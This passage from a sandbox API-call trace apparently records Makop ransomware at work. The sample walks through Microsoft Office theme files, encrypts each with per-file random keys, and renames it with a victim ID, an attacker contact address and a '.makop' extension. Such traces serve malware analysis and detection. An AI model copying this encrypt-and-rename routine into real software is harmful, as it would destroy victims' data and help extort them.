pbBuffer=0x48bdf90) returned 1 [0160.055] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0160.055] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xb, lpOverlapped=0x0) returned 1 [0160.059] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0160.059] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0160.059] GetProcessHeap () returned 0x48a0000 [0160.059] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0160.059] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0160.060] CryptDestroyKey (hKey=0x48c7128) returned 1 [0160.060] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0160.060] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0160.060] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0160.060] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0160.060] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0160.060] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0160.061] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0160.061] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0160.061] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.061] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x6c85, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x6c85, lpOverlapped=0x0) returned 1 [0160.063] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6c90, dwBufLen=0x6c90 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6c90) returned 1 [0160.063] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.063] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x6c90, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x6c90, lpOverlapped=0x0) returned 1 [0160.063] CryptDestroyKey (hKey=0x48c7128) returned 1 [0160.064] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x6d64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.064] SetEndOfFile (hFile=0xf0) returned 1 [0160.070] GetProcessHeap () returned 0x48a0000 [0160.070] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0160.070] GetProcessHeap () returned 0x48a0000 [0160.070] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0160.071] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 127 [0160.071] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\solstice.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\solstice.eftx.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0160.072] CloseHandle (hObject=0xf0) returned 1 [0160.073] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32199d00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c62e40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x32199d00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x5c8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Technic.eftx", cAlternateFileName="TECHNI~1.EFT")) returned 1 [0160.073] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79 [0160.073] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\technic.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0160.074] GetProcessHeap () returned 0x48a0000 [0160.074] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0160.074] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0160.074] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0160.074] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0160.078] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0160.078] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0160.078] GetProcessHeap () returned 0x48a0000 [0160.078] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0160.078] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0160.078] CryptDestroyKey (hKey=0x48c7128) returned 1 [0160.078] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0160.079] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0160.079] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0160.079] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0160.079] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0160.079] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0160.079] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0160.079] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0160.080] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.080] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x5c8c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x5c8c, lpOverlapped=0x0) returned 1 [0160.085] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5c90, dwBufLen=0x5c90 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5c90) returned 1 [0160.086] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.086] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x5c90, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x5c90, lpOverlapped=0x0) returned 1 [0160.086] CryptDestroyKey (hKey=0x48c7128) returned 1 [0160.086] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x5d64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.086] SetEndOfFile (hFile=0xf0) returned 1 [0160.093] GetProcessHeap () returned 0x48a0000 [0160.093] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0160.093] GetProcessHeap () returned 0x48a0000 [0160.093] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0160.093] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 126 [0160.093] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\technic.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\technic.eftx.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0160.095] CloseHandle (hObject=0xf0) returned 1 [0160.096] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5bd2c400, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c88fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5bd2c400, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xa14f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Thatch.eftx", cAlternateFileName="THATCH~1.EFT")) returned 1 [0160.096] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78 [0160.096] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\thatch.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0160.097] GetProcessHeap () returned 0x48a0000 [0160.097] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0160.097] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0160.097] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0160.097] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x1, lpOverlapped=0x0) returned 1 [0160.105] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0160.105] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0160.105] GetProcessHeap () returned 0x48a0000 [0160.105] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0160.105] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0160.105] CryptDestroyKey (hKey=0x48c7128) returned 1 [0160.105] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0160.105] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0160.106] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0160.106] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0160.106] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0160.106] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0160.106] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0160.106] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0160.106] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.107] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xa14f, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xa14f, lpOverlapped=0x0) returned 1 [0160.110] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa150, dwBufLen=0xa150 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa150) returned 1 [0160.111] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.111] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xa150, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xa150, lpOverlapped=0x0) returned 1 [0160.112] CryptDestroyKey (hKey=0x48c7128) returned 1 [0160.112] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xa224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.112] SetEndOfFile (hFile=0xf0) returned 1 [0160.119] GetProcessHeap () returned 0x48a0000 [0160.119] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0160.119] GetProcessHeap () returned 0x48a0000 [0160.119] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0160.119] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 125 [0160.119] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\thatch.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\thatch.eftx.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0160.121] CloseHandle (hObject=0xf0) returned 1 [0160.121] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35ad2400, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c88fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x35ad2400, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1fb84, dwReserved0=0x0, dwReserved1=0x0, cFileName="Trek.eftx", cAlternateFileName="TREK~1.EFT")) returned 1 [0160.122] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76 [0160.122] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\trek.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0160.123] GetProcessHeap () returned 0x48a0000 [0160.123] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0160.123] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0160.123] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0160.124] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0160.128] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0160.128] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0160.128] GetProcessHeap () returned 0x48a0000 [0160.128] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0160.128] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30) returned 1 [0160.128] CryptDestroyKey (hKey=0x48c7128) returned 1 [0160.128] WriteFile (in: hFile=0xf0, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x6577aa8*=0x30, lpOverlapped=0x0) returned 1 [0160.128] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0160.128] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0160.129] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0160.129] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0160.129] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0160.129] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0160.129] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0160.130] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.130] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1fb84, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1fb84, lpOverlapped=0x0) returned 1 [0160.133] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1fb90, dwBufLen=0x1fb90 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1fb90) returned 1 [0160.135] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.135] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1fb90, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1fb90, lpOverlapped=0x0) returned 1 [0160.136] CryptDestroyKey (hKey=0x48c7128) returned 1 [0160.136] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1fc54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.137] SetEndOfFile (hFile=0xf0) returned 1 [0160.145] GetProcessHeap () returned 0x48a0000 [0160.145] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0160.145] GetProcessHeap () returned 0x48a0000 [0160.145] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0160.145] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 123 [0160.145] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\trek.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\trek.eftx.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0160.148] CloseHandle (hObject=0xf0) returned 1 [0160.148] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3940ab00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3940ab00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x4c9b, dwReserved0=0x0, 